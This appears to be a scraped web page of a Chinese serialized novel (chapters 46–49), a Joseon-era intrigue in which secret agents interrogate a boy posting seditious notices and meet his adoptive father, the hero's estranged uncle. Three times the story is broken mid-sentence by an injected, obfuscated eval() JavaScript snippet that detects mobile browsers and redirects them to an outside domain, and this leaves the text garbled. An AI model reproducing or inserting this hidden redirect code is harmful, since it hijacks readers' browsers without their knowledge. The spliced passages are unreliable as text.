地牢的门吱呀打开,日光和火把的光都照了进来,地牢里关着的朴范和几名赵家人却都呆滞地没有反应,只有金哲一个人看到光后瑟缩了一下。接着,他看见几张熟悉的面孔走了进来,只不过这次进来的人比以往更多,多出了两个人。 天锋和天铃在前面举着火把率先走了进来,并点燃了地牢里的所有用以照明的灯火,地牢变得黄澄澄的。天沛则找了个就近的牢房,将背上被绑得结实的男孩丢了进去,这家伙依旧没醒,昏得死死的。 李珘道:“天铃,看看他怎么回事。” 天铃果断进牢房抓住男孩的手,细细诊断了一会儿,片刻后,她露出了不可置信的神情,随即一把掀开男孩盖在肚皮上的衣服。男孩很瘦弱,肚子瘪瘪的,看起来很是营养不良,估计很少吃饱过。 天铃道:“......要是我说他是饿晕了,你们信吗?” 天沛震惊道:“什么?!饿晕了??就只是因为这个才突然晕倒的?” 天锋评价道:“饿晕之前还能撑那么久,体能和意志力皆非同小可啊。台主,如果这人不是敌人,那还挺是块料子。” 李珘道:“欣赏人才的角度来看确实是这样,不过天锋,这人不太可能不是敌人。天铃,喂点吃食能让他醒来吗?” 天铃点头道:“可以,不过可能要等上很久了,让我来吧。” “好,辛苦你了。”说罢,李珘便对身后两名徒弟数落道:“还不怪你们两个,追半天没追到,硬是给人累晕了,也不知道抓快点!” 韩时元:“......老师说的对。” 宋景熙正想反驳是因为不得不躲在柜子里,却突然耳朵突然红了红,还是憋着不说了。 李珘倒也没有真要责备两人的意思,嘿嘿笑了两声道:“倒也正好,上次的事不是还没结尾吗,你们俩跟我回内厅一趟。天沛天锋天铃,好好照顾着啊!” 内厅。 李珘从木架上拿出一折密报,让两人一起看。 这封密报正是从东郡发来的,上面的内容很简明,越读却越让人沉默。 密使们终于找到了赵家大夫人的踪迹,并且抓到了她。被捉住的时候,赵夫人正乘坐在往汉阳而去的驴车上。 被绑起来由密使们押送至汉阳时,她居然不断故意出言激怒密使,而且坚持不停地剧烈反抗,完全不顾在她的挣扎下已经勒进皮肉里的绳子。负责押送的密使抽出刀来让她老实点,没想到她竟然果断冲了过去,将胸口撞在刀上,企图撞刀而死。 但很不幸,她没有没有撞对地方,加上拿刀的密使及时躲避,让她没能马上咽气。密使们大惊,一边为她止血,一边问她:“你何必如此呢?你的丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773795|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫和儿子都被黑手用这种邪物控制,那是你的骨肉,难道你就不恨吗?” 赵夫人大抵是意识到了这些抓她的人已经知道到真凶另有其人,并且真凶就是她们赵家背后的守护者,然而她却一边涌血,一边惨然地笑着说:“没有大人,就没有活下来的我。大人或许不是好人,但是谁只能对好人忠诚了?大人是我的恩人,我不会背叛大人的。”之后,无论如何相劝相逼,赵夫人只是哆嗦着嘴唇一言不发。见她暂时保住了性命,密使们便加快脚程往汉阳去,但又是很不幸——这回是对密使们来说不幸,这女人没能撑到汉阳,在路途中咽气了。 待两人放下手中的密报,李珘便道:“你们说说,这...唉!黑手究竟给这女人下了什么迷魂汤,竟然能让她忠诚到这个地步,连自己的骨肉家人也不管不顾,能容忍自己的丈夫和两个儿子被解忧草那种邪物控制摧残,难道孩子不是她亲生的吗?” 韩时元声线冷冷地道:“她口中所谓的对恩人的忠诚,却要旁人拿性命来报,真是可笑,死不足惜。” 听时元这么说,李珘的眼睛黯了黯。是啊,如果没有解忧草,没有那场变故,他的妻子,还有他的一双儿女,就不会病死在流放之地上。虽说是他自己选择了被流放,而他的妻子选择了跟随他一起被流放。但如果他当时在场,他还是会质问赵家大夫人,她可以因为忠诚而让恩人凌驾于自己的家人之上,那旁人的家人呢?因为她恩人的野心,因为她恩人的恶毒而遭受痛苦的、死去的无辜之人呢,又算什么? 李珘悄悄擦了擦眼睛,道:“总之现在,我们失去了一条能找到黑手的重要线索......” 宋景熙面色凝重地道:“那我们还有什么别的线索吗?” 李珘点头道:“有,密使们从赵家的库房里缴获了不少解忧草。主上认为,可以给地牢里的赵家人喂下解忧草,以此让他们正常起来,让他们想起一些事。毕竟我之前已经说过,在赵家家仆的眼里,赵家人的行为绝大多数时候其实与常人无异,而现在之所以会疯掉,问不出一个字,多半是因为像当年的我一样,在被软禁之后隔绝了解忧草的服用,因为戒断而导致陷入被逼疯的境况。” “不过,我不觉得这是个好方法,也一直将其作为无路可走后的最后选择。因为我们实际上对解忧草仍然一无所知,也并不清楚如何控制解忧草的服用剂量。就单纯而言,赵家人也是受害者,如若由我们再喂给赵家人解忧草,那我们也就坐在了加害者的椅子上。” 宋景熙觉得,老师这么想很正常,他很能理解,毕竟老师本身就是解忧草的最大受害者,因为解忧草而失去了一切,对同样是受害者的赵家人......难免有一丝诡异的同情。 他有些不忍道:“老师,或许赵家人也不只是单纯的受害者,有时加害者和受害者之间并不是一条分明的鸿沟,在赵家人身上,我倒觉得这界限十分模糊。他们很可能也是加害者。” 韩时元默默点了点头。 李珘深以为然地道:“景熙啊,我明白你的意思。我还没说完呢,我想说,现在摆在我面前的,只有这一条路,我们花了二十年才走到今天这一步,岂会因为一时的仁慈而不顾大局?白痴才会选择放弃......我的烟呢?我得抽口烟...时元!你又把我的烟杆子放哪儿去了!” 韩时元报了个很详细的位置后,李珘便乐滋滋地寻杆去了。 47. 清浊其二 李珘消失了一阵,再次出现在宋景熙和韩时元面前的是天锋,天锋道:“那家伙醒了。” 宋景熙诧异道:“醒这么快?”他心下暗自道:“这男孩体质果然异于常人,的确是个能人,可惜是敌人。” 天锋点头道:“是,只喂了碗蜂蜜水便醒了。只是我们的话他一句也不听。” 韩时元道:“我们去看看。” 两人再次来到地牢,地牢里原先躺在地上不省人事的男孩已经被绑到椅子上去了,整个人也确实是清醒过来了,脑袋和身上湿哒哒的,头发卷成了一团——本来头发就是卷卷的,也乱糟糟的,发尾滴着水,看得出来或许是被天沛或天铃赏了一盆水。 男孩扫视了进来的两人一眼,视线定在宋景熙脸上,忽然瞪大眼睛,直直地盯着宋景熙,好像看到了什么很令人吃惊的东西一样。这眼神看得宋景熙疑惑不已,想了半晌也没想出自己哪里值得男孩这么诧异。 这时,天沛走了过来,手里拎着一团纸,语气夸张地道:“真没抓错人!老大你看,从这家伙身上搜到的,就是贴的反论!一模一样!” 韩时元接过来揉开看了眼,道:“的确是反论没错......”一个字都不带差的,字迹也差不多。 宋景熙点头罢,接过反论走向男孩,在男孩眼前摊开反论,质询道:“看来你今晚是还想贴了?上次贴在六曹街,这次出现在义潭洞,是想再贴在义潭洞?还是说指使你的人在义潭洞?” 男孩一直盯着宋景熙的脸,直到宋景熙定在他面前,他也要抬头盯着看,但眼神里似乎在想着别的事情。等宋景熙问完,男孩突然回神,张口刚说出一个“你...”便被天沛拍了拍脸,叱道:“你什么你!问你了还不快老实交代,为什么要干谋逆的事儿?有没有其他同伙?谁指使你们的?” 男孩锐利地道:“不是我!” 天沛咵地要扇一掌,却被天铃抓住手臂拦住了,天铃道:“别打晕了,好不容易弄醒的,蜂蜜水很珍贵,我不想再喂一碗了。” 天锋道:“换我来吧。”说罢,便从身后墙上取下一把刑具,不过目前还没有施刑的必要,拿出来只是为了恐吓,有必要时才会用。最主要的是,真要上刑,一般就不是他们密使来上了,得打开地牢里通向另一侧义禁府的门,让义禁府的专业人士来审。专业人士大有讲究,不是只要是个义禁府的人就能审,得是义禁府判事信得过的得力手下,身家还要干净的,就像密使一样干净。 大部分进了地牢的犯人嘴是很硬的,恐吓环节过了立刻就丢给义禁府来审了。但年纪像这名男孩这么小的很少见,看起来也才十五六岁,实在是太年轻了,还是让恐吓环节再长一点吧。至少,在场几个人都是这么想的。 男孩一见到天锋手上的刑具,眼睛瞪得更大了,立刻道:“好吧!就是我贴的。” 天沛道:“然后呢?没了?那么多问题你就回答一个啊!” 男孩道:“你们有没有听过一句话叫做得饶人处且饶人?” 天锋抖了抖刑具,在慢慢地靠近,男孩咬紧后槽牙,而后大声道:“等等!我说!但我可不可以提一个条件?” 天沛疑惑地道:“进了这里你还想提条件?胆子不小嘛。” 男孩抿唇道:“我交代,但是我只告诉他。不然我是不会说的。”说这话的时候,他的眼睛一直看着宋景熙,还朝其点了点下巴,很明显指的就是宋景熙了。 韩时元果断道:“不行。” 天铃道:“不老实,肯定在想着什么逃脱的伎俩呢。” 天沛也道:“就是就是,这里可不是什么谈判的地界,摆正你的位置好吗小弟弟?呃...既然他不说,要不,丢到隔壁去?” 宋景熙沉思片刻后,居然道:“可以,我同意。诶等等,我不是同意丢他到隔壁去!” 天沛正从墙上取下通往义禁府一侧地牢的钥匙,忽然被宋景熙叫停,露出一脸疑惑:“啊?” 宋景熙道:“既然他愿意说,即便只有我一个人听着,也不是不可以?” 韩时元不赞同地道:“太危险了,不能留你一个人在这。” 天铃也道:“我看啊他就是想支我们出去,然后再趁机耍什么花招吧。嗯...不过,天锋,你这绳子绑得结实吗?” 天锋道:“非常结实。” 天沛道:“再结实也不行啊,万一他会什么特别的技法,能挣脱绳子怎么办?或者他会用什么暗杀手段怎么办?” 天铃啊了一声:“很简单啊,就这么绑着,再用铁链锁起来不就好了?” 宋景熙道:“那就这么办吧。”见韩时元拧起眉心,正待说话,他便立即道:“不过我也有个条件,他要留在这。” “他”指的是韩时元,宋景熙朝他指了指。果然,这话说出口,韩时元的眉心霎时舒展了,不仅如此,还挑了挑眉,似乎心情略佳。 男孩沉默了。宋景熙道:“那就丢到隔壁去吧,天沛,动手...” 最后一个词儿还没说完,男孩立刻大声道:“我答应!” 为避免地牢里另外一名脑子清醒的罪犯听到反论的秘密,离开地牢前,天锋还击晕了金哲。这下,地牢里的清醒人数控制在了男孩可接受的范围内。 地牢的门被关上后,不待两人多问,男孩朝宋景熙眨了眨眼,主动地道:“我叫南一洛。” 宋景熙道:“南一洛。” 男孩道:“对,我就叫南一洛。这个名字,就是指使我的人取的。指使我的人叫南林,也是收养我的人,是我的义父。” 说罢,南一洛好像很期待宋景熙的反应一样,再度朝宋景熙眨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773796|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼。宋景熙选择忽略,对于他来说,南一洛和南林这两个名字都很陌生,他做的只是在心中默默记下这两个名字。 “为何要张贴反论?” 南一洛摇头道:“我不知道,是义父让我这么做的。我不认识这上面的字,不知道这是...反论?是叫反论对吧?我是跟着你们这么叫的,反论是造反的意思吗?义父让我把这些贴出去,我就贴了。我根本不知道这是造反。” 韩时元哼笑一声:“你觉得我们会信?” 南一洛一脸无辜道:“你们不信那我也没办法。”他重新看向宋景熙,道:“你想见我义父吗?我可以带你去...只能你一个人去!他不行!” 听这男孩这么快就交代了,宋景熙还稍稍觉得有些不可思议,但又听到这男孩说要带他去见这个叫南林的人,便不由得笑了下。很明显吧,这是引他入狼窝,傻子才会去呢!要是让他丢了性命可怎么行?他这条命可是好不容易捡过来一回的。 “不去。” “我也要去。” 这后一句是韩时元说的,虽然是后一句,但其实几乎算得上是和宋景熙一起同事说的。宋景熙诧异地朝韩时元看去,露出了疑惑的神情。 韩时元靠近来,附到宋景熙耳边悄声道:“为何不去?带我去,有我在,我不会让你受伤。” 宋景熙忽然耳朵一麻,不自觉地朝韩时元看了眼。韩时元弯眼笑了笑:“相信我。” 宋景熙愣愣地搓了搓耳朵,完全没有意识到自己搓耳朵的动作被韩时元尽收眼底,也没有看见韩时元的笑容更深了点。半晌后,他才后知后觉地明白韩时元的意思,他想,韩时元的意思大概是指会有密使暗中跟着,不会让他一个人独自冒险,或者说是不会让他们两个人孤身深入敌营。 他快速地眨了眨眼,飞快答应道:“好。” 南一洛也飞速地眨了眨眼,不太明白发生了什么。在他的视角里,眼前这两人不知道偷偷摸摸商量了什么,然后其中那一位突然一下子就改变主意答应下来了?哎不管了,这么顺利,实在是太顺利了!义父果然是料事如神!很好!自己的任务终于要完成了,义父的目的就要达到了! 他暗中给自己打了一通气,也飞快回应道:“什么时候出发?你们想现在出发吗?可以呀。” 韩时元道:“今晚。” “哦...好吧。”南一洛顿时丧了点气,那他又得在这个黑漆漆的地方多呆好久了。不过很快又乐观起来,安慰自己,心想至少这里不会让自己饿着肚子,方才那甜丝丝的蜂蜜水让他念念不忘。或许不会那么糟糕,不会那么难熬吧,饿肚子才是最难熬的。可是那碗蜂蜜水还没能填饱她的肚子...... 就在他在考虑再讨点吃的的可能性的时候,宋景熙和韩时元已经朝着地牢的出口离开了。 48. 清浊其三 夜晚。 这次的行动,当然不可能真让宋景熙和韩时元两人独入敌营,在请示李珘后,便决定依旧由天沛和天锋以及另外三名密使暗中跟着,最多也就五个人了,实在拨不出更多。一来台中事务缠身,需要用到密使的地方很多,二来李珘相信这俩徒儿,以他们的实力,不会出事。 南一洛手上绑着绳子,趁着夜色,领着宋景熙和韩时元出了城——准确来说出城前是宋景熙和韩时元领着的,因为城门在夜间关闭,但李珘使了点小小的特殊权利,让城门又为他们开了。 从城门出后,一路奔马辗转,在南一洛的指引下,来到了一处极为偏僻的地方。 这还是个山头,离王城很远,山头上有间茅草盖的屋子,比当年在眉寿山的寒舍还要破旧简陋,但视野极好,如若在白日从屋子往王城的方向远眺,能将王城全貌一览无余。 这地方就很符合造反的人的选择。 屋子里暗暗的,没有光亮,宋景熙本想着是否是落入圈套里了,捏起缰绳正警惕起来,这时,茅屋的破烂木门被从里推开,走出来一位身形削痩的男人,看着面前三人静静地立了一会儿,南一洛大声道:“义父!” 看来这位男子就是南林了。 南林的声音也十分沧桑,他似是十分吃力地朝宋景熙和韩时元吐出三个字:“进来吧。” 宋景熙总觉得有些奇怪,尤其是这名叫南林的男子。他下了马后便站在原地不动,等南林和南一洛走进屋后,立即小声对韩时元道:“要进吗?还是先动手捉了?怕他们有什么诡计。” 这片山头秃秃的,树,草,石头都很稀疏,没什么遮挡物,暗中跟随他们而来的密使甚至无处可藏,只能停留在很远的地方,万一出了什么问题,也很难立刻反应过来。在不清楚对方的目的时,眼前这间茅屋宛如一间未知的谜屋,谁知道里面会不会是鼠笼? 韩时元道:“我也怕他们有什么阴谋诡计。”思索片刻后,他的眼神落向宋景熙身后背着的刀,忽而轻松一笑,道:“有你在,有你保护我,我就不害怕了。” 这笑容温柔真切,也一点儿都不浅淡,从不弯起的眉眼和唇角,此刻好像变成了一轮新月,晃进了宋景熙心里。宋景熙晃神了一瞬,呼吸也岔了一瞬,随即胸膛没由来地震动起来,他略显慌乱地别开眼,闷着嗓子道:“哦...我会保护好你的。我们进去吧。” 接着,他右手和右脚同时迈了出去。 “......”宋景熙滞空一瞬,然后手忙脚乱地改了过来,他甚至没敢回头看,心里祈愿自己走路的失误丑态没被发现,好在确实没听到韩时元的笑声,这让他的心思镇定了一些。正常地走了几步以后,却又鬼使神差地稍稍扭头往身侧看了眼,这一看,却见韩时元依旧是面带笑容,没有带着一丝嘲笑的意味,但确实笑意更深,更明,一对墨黑的眸子此刻湛亮如星,正凝视着他。 宋景熙心如巨鼓,有一把无形的槌子变了出来,在鼓上捶了又捶。他猛地回头,姿态紧绷地快步朝茅屋走了过去。 屋内,南林正手指颤抖地在灯台前敲着火镰子,试了很久都未能成功,南一洛看不下去了,不忍地道:“义父,让我来吧。”他接过火镰子,一下子就点燃了灯芯。 屋内嚓一下亮堂起来,照亮了与此同时走进来的宋景熙和韩时元两人的脸。南林直愣愣地盯着枯朽的颤抖的双手,叹息道:“我的手越来越不利索了。”而后抬头看向门前两人,对进来了两个人没有表现出任何奇怪,对另一名不邀而至的客人也没有表现出任何不满,只是依旧叹息道:“我的头脑也越来越不清醒了。” 宋景熙这时缓缓冷静了下来,默默地看着眼前这位面容枯槁的男人。这人,就好像被活生生刮掉了骨肉一样,只剩下一张皮在撑着,而且看着是撑不了太久了。越看着这张脸,他越觉得这张脸有种隐隐的熟悉感,尤其是眼睛和嘴唇,很熟悉很熟悉,好像在哪里见过一样。又听南林道:“我离开家的时候,也和你一样年轻,如今已经过了二十八年了,我也已经老得不像样了。” 宋景熙不由自主地蹙起眉头:“你是谁?” “你不记得我了。”南林露出难以名状的悲伤的神情,他举起颤抖的胳膊,伸出一只颤抖的手指,指向宋景熙,道:“你背后那把刀,是我送的,那时候你太小了,看来已经不记得是我送的了。没想到过了这么多年,你居然还背着他。” 宋景熙的瞳孔顿时一缩。 他非常记得,到现在都记得很清楚。十三年前,他九岁,祖母花甲宴。宋府的门槛几乎被踏破,连国君也派人送上贺礼。就连他这个不到十岁的小孩都能收礼收到手软,但他不想要这些。 那时他刚和长兄宋景元一起偷偷摸摸背着父亲练武不久,最期待的是长兄的礼物,最期待的是一把干净帅气的武器。但大人们不觉得这是该给小孩送的礼物。 祖母的花甲宴都快要结束的时候,他一个人在自己的院子里拆着无聊的礼物,忽然看见有一个长得和他父亲有五六分相似的男子,笑脸盈盈的,举臂摇着着一条细长的箱子在他眼前晃来晃去的,对他说:“我有礼物送给你,开一下门好不好?” 宋景熙打开院门,男子也笑眯眯地打开箱子,里面是一把漂亮的环刀。他一边很欣喜,一边很好奇地对男子说:“谢谢你。不过,你是谁呀?” 男子露出落寞的眼神,而后伸手捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773797|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了捏他的脸,笑着说:“我是你父亲的弟弟,是你叔父。你没见过我吧?” 宋景熙很老实地回答说:“没有。”他确实不知道父亲还有个弟弟,不知道自己还有个叔父,还想问问眼前的叔父叫什么名字,但他听到母亲在外喊他的名字,便扭头朝那边回应了一声,再转头的时候,叔父就不见了。 后来他才知道,自己的确是有个叔父,是父亲宋道真的胞弟,名字叫做宋道林。 家人几乎从不提这个名字,因为很多年前,用着宋道林这个名字的人离开了宋家,与家人断绝了来往,那时宋景熙的祖父宋泰日还在世,但疾病缠身,已经没几年好活了,宋道林这个小儿子居然还要脱离家门,宋泰日气得要死,一气之下同意了,让宋道林改姓滚出去,就当自己没养过这个逆子。至于宋道林为何非要脱离家门不可,这在宋家是个禁止谈论的事情,或许就连宋家人自己也不知道宋道林抽的是什么风。 宋道林离开家的时候,宋景熙还有好几年才出生,连他哥宋景元也是才出生不久,加上此后家中完全不提及宋道林,就当这个人死了杳无音讯了,因此宋景熙完全不知道自己有这么个叫做宋道林的叔父,反而一直以为父亲是家中独生,更没想到这位叔父会在祖母的花甲宴时回来。但花甲宴过后,他再也没有见过这位道林叔父。 他很喜欢这把刀,甚至在刀身磨损后,专门找铁匠重新铸造过。因此,他不会忘记是谁给了他这把刀。 想起这些,宋景熙带着点将信将疑的情绪道:“道林叔父?” 南林的眼底流过一丝欣喜,道:“原来你还记得我,也知道我原来的名字。” 宋景熙吸了一口气,越发觉得难以置信,让他这么迅速地把十三年前那名壮年形貌的男子与面前这名几乎要油尽灯枯的男子联系到一起,相信他们是同一个人,这还真是有些困难。 南林道:“宋道林这个名字,已经很多年没听到过了。我病得要死了,死之前想再多听听这个名字,麻烦你继续叫我道林叔父吧...如果你想这么叫的话......” “道林叔父。”宋景熙压不下心底复杂的情绪,却也没忘记自己的目的,道:“反论之事是您组织的吗?“ 南林浑浊的眼珠注视着宋景熙,一字一字地回答道:“没错,我就是最近京城里把反论闹得沸沸扬扬的主使。” 这话一出,宋景熙心下更加骇然了。 南林抖了抖手:“孩子,你想问我的事,我都会告诉你。我不是史官,没有写下生平的爱好,只能口述传达给你,你千万不要嫌弃。我的一生是条一旦走上就绝对无法回头的路,这条路的路口,要从不止二十九年前说起......” 49. 清浊其四 对于绝大多数人来说,一个只知道名字的人死得越久,就越会被遗忘得一干二净。尤其是在这个人死了好几十年以后。 比方说孝献世子。一个因为不知道得了多少种病而苟延残喘多年后终于被病魔熬干性命的人。 但总有人不会忘记的,孝献世子的妻子崔氏就没有忘记。这是个坚毅坚韧坚强的女人,对于某件事的执着程度绝对能超越这世上绝大多数人。这件事就是:孝献世子死亡的真相。 崔氏完全不能相信丈夫孝献世子的死是如此突然,尽管她知道丈夫的病早已持续恶化多年,但那些病,比如痈疮,还是痘症,无论哪一种,分明都是缓慢性质的,绝不会一朝一夕之间夺走性命,更不必说她分明记得,丈夫的病症虽然痛苦,却还没有恶化到连御医都摇头说不行的地步。只是突然,就死了。 不过,连丈夫的父亲,也就是当时的国君都说了,她丈夫就是忽然病情加重而病逝的。孝献世子一直对所有人都隐瞒着病情。此外,国君还以隐瞒病情和医治不力为由,处死了数名东宫殿内官和内医院医官。最后得到一个很简单的结论:世子命薄,世子无寿。 所以起初,崔氏也没有纠结太多,只是一心一意地操办着丈夫的丧事。但后来事情就有点不对了,国君给世子这个儿子的葬礼十分简陋,十分着急,完全不是一个国家的世子该有的规格,之后既有韩丙建和宋泰日为首的勋旧派着急地将齐城君之子迎回宫,更有她的父亲在她耳边嚼嚼舌根,慢慢地,崔氏也开始怀疑丈夫是遭人杀害,至于是谁杀的...... 崔氏决定暗中调查丈夫死亡的真相,调查也果然有了进展,她发现丈夫死前服用过的汤药的药方在内医院中并无记录,准备来说,是那一页记录直接被撕掉了,撕掉记录的人很仔细,撕得干干净净,要不是崔氏留着丈夫喝过的汤药的残渣,她也不会发现这个不对劲的地方。很有可能,孝献世子就是被毒杀的,毒杀的秘密就藏在那页被撕掉的记录里。 然而就在崔氏想要继续下查时,竟然遭到了内医院的阻碍,国君知道她在搞什么动作后,不仅没收了那副汤药残渣,更是对她大发雷霆,禁止她的一切活动,也就是囚禁。 不过囚禁吧,也有好处,崔氏有了大把的时间来整理丈夫的遗留之物。她想着,先表现得好点,等有朝一日解禁了,她就继续。 孝献世子好读书,并且直到死都没有变过。东宫殿的书馆里,满是孝献世子藏阅的书籍。睹物思人,崔氏就这么日日夜夜捧着丈夫读过的书读,崔氏族人也平静了下来。可惜没有平静多久。 齐城君之子进宫了,被韩丙建和宋泰日共同迎进宫的,被国君认作了自己的儿子,马上就要成为新的世子了。东宫殿将有了新主人,这也就意味着,身为去世的孝献世子之妻的世子嫔崔氏,也没有资格继续待在东宫殿里了——虽然她之前还能继续待在东宫殿已经是国君开恩了。 崔氏族人忧心忡忡,总觉得家门即将没落了,便在崔氏耳边吵来吵去,不过很快就全部闭嘴了。 因为世子嫔崔氏自缢了。 这下好了,全部都闭嘴了。第一个赶到崔氏自缢的宫殿里的是崔氏的族弟,时年二十多岁的崔溥。崔溥和其他族人不一样,他知道姐姐因为丈夫去世遭受了多重打击,知道姐姐承担着巨大的压力,所以从不像其他族人一样以利益的名义在崔氏耳边叨叨。并且,他有一点和姐姐崔氏极其相像,那就是在对孝献世子之死的真相的执着程度,要不然说是姐弟呢,在这一方面,这对姐弟真真是惊人的相似。 崔溥母亲去世得早,父亲是个废人又不管他,花天酒地之徒,又自持身份贵重,时常与贵族一起饮酒玩乐,因酒后出言不逊而挑起矛盾,遭人记恨,晚归家途中被人捅死。可以说崔溥完全是由族姐崔氏带大的。他完全相信族姐的判断,也怀疑孝献世子是为人谋杀,甚至大胆猜测是为毒杀,这点猜想在族姐自缢后更甚。尽管众人都说崔氏是伤心过度,追随孝献世子而去,但只有崔溥自己知道,不是这样的。他亲耳听到族姐说过无数次,她说她能活多久,她就要查多久,直到真相水落石出为止。 这样,崔溥也有了更加大胆的猜测:族姐是被人逼到自尽。于是,他决定接替族姐的遗志,他抱着族姐僵硬的脖子撕心裂肺地发誓,这辈子无论付出什么代价,他都一定要找出害死族姐和孝献世子的凶手。 然后,为了找到凶手,他真的付出了一辈子的代价。 第二个付出这种代价的,是一个和崔溥一点血缘关系都没有的毛头小子。崔溥没想到,就连宋道林自己也没想到,他二十多岁的某一天,会因为孝献世子这个早在他出生前就死掉的人而改变了命运。 要从血缘上来看的话,宋道林和崔溥一点关系也没有,但要从亲缘上来看的话,那确实算得上亲戚:宋道林的母亲是德平翁主,德平翁主和孝献世子是异母兄妹,而崔溥是孝献世子的妻子的弟弟。这点来看,确实是亲戚,但关系有点远,宋道林和崔溥也从来没见过面,因为宋道林出生的时候,不仅孝献世子早死了,孝献世子嫔也早死了,世子嫔的弟弟崔溥也早就销声匿迹了。 宋道林出身尊贵,是德平翁主的小儿子,受尽家中宠爱,生性中规中矩,拿不出出挑的,也评不出太恶劣的,喜好风花雪月,前半生过得潇洒滋润,一点苦头没吃过,唯一吃过的苦可能是苦味的汤药。但有一点不好,他自己也一直早早意识到了,那就是喜欢打抱不平,喜欢干点别人不敢干的,喜欢干点别人不让他干的。也许是顺畅的日子过惯了,他总觉得应该用什么刺激点的、隐蔽点的、晦暗点的来扭转自己过于顺遂的人生。 没办法,一个人过得太过顺遂了,就会不由自主地想做出一些出格的事情,走一条直线走腻了,就会想走点弯的。宋道林结识的好弟兄们管这叫“追求刺激”,而这些好弟兄们大多喜好在床榻上找刺激,从体验各种各样的女人到体验各种各样的男人,而且乐此不疲。宋道林倒觉得这种刺激对他来说太浅薄了,而且很快就无趣起来。他的心他的渴求是一片广阔的湖,而世俗的刺激只是一块小小的石头。 他在等待一块陨石,但一直没等到,逐渐陷入迷茫之中,开始觉得一切都是毫无意义。从未吃过什么苦头,就会想尽办法地尝尝苦头是什么样子。这倒是不必谴责,因为很快他就会尝到苦头确实是很苦的,所以世人才会避之如蛇蝎。 这是一次机缘巧合,宋道林遇上了一位名叫崔溥的男子,并且了解到了崔溥为何而消失。 族姐死后,崔溥和一群志同道合的人聚集在了一起,并且隐姓埋名起来。这些人里,有孝献世子的老师及门客——其中多是世子侍讲院的侍讲官们,也有崔氏的族人。他们她们只有一个共同目标,那就是找出真相。 宋道林终于等到了这块陨石。他和崔溥简直是相见恨晚,二人相差近二十岁,但很快结成莫逆之交。他完全未经历崔溥口中的故事,却对故事有着深入骨髓的感受,也终于找到自己究竟在等待什么。他共享了崔氏和崔溥全部的坚持,并且自认为这不叫机缘巧合,因为自己活着等了二十年,就是为了等到结识崔溥、加入崔溥这一天。 崔溥和这些人义结金兰,发誓一定要找出真相,但一直没找到,此后更是为了心中的道义而远离朝廷。但年岁久远后,大多人都陆续离开,有些是死了,有些是主动退出了,最后只剩下崔溥和少数几人还在苦苦坚持,这其中就有宋道林,还有崔溥的儿子,崔在燮。 宋道林和崔在燮关系不好,但有崔溥在,也就维持了很长时间的表面兄弟。崔溥致力于缓和宋道林和崔在燮之间的关系,所以偏好于让两兄弟一起行动。那时崔溥的据点正值壮大时期,也许是风头太盛,遭到了脱离者的检举,但不是以“谋逆”之名检举,而是检举追随崔溥人里那些依然身兼官职之人的其它罪证。此前崔溥一直将谋逆派的重心安置在京畿道,一遭检举,为保存火种,崔溥当即决定将据点转移向全罗道——这也是崔氏族人发源的本贯。 宋道林和崔在燮被派遣去了全罗道,但崔溥本人依然留在京畿道。 没了崔溥,宋道林和崔在燮在全罗道的关系很快恶化,但还没有到分道扬镳的地步,依旧是努力地维持着表面兄弟。很多个日月过去以后,河流涸了又淌,淌了又涸,尚扎根在全罗道老宅的宋道林和崔在燮收到自京畿道而来的一封信,是崔溥亲笔所书。 这封信上,一面写了潦草的一行字,说自己找到了很重要的物证。另一面写着急促的三个大字:“赶回来。” 宋道林和崔在燮立即出发,但二人因路上发生争执,崔在燮先行一步,赶回京畿道,宋道林后脚赶到,看到的却是令他难以忘记的一幕。 崔溥死了,身无外伤,尸体倒在地上,嘴里是血,身下也是一滩血。崔溥本就老了,吐了这么多血,血都发黑了,尸体都异味了,死了不知道多少日了。算日子,从他们在全罗道收到信并赶往京畿道的时候就死了。 宋道林不可置信地看着眼前茅屋里的情形,愣在原地,这时崔在燮从门后走出来,神色阴鸷地说:“太可笑了。” 宋道林终于反应过来,皱起眉头说:“你说什么?” 崔在燮说:“我说,这他妈太可笑了,一切都他妈的实在是太蠢了。耗了一辈子,结果就是这样的下场,死的不明不白,太他妈的蠢了!” 宋道林说:“你在胡说什么?他是你父亲!” 崔在燮说:“去他的!死了才好!死了也好,老子已经受够了,我本可以享受舒舒服服的一切,偏让我像个老鼠一样过日子。抛弃一切,就为了一个可笑之至的真相!真以为自己有多高尚?太自恋了,这他妈就是一场骗局,根本不会青史留名!浪费了老子三十年,老子不干了!” 宋道林说:“骗局?你这是什么意思,首领留下来的‘证据’呢?‘物证’呢?” 崔在燮愤怒地说:“没有!” 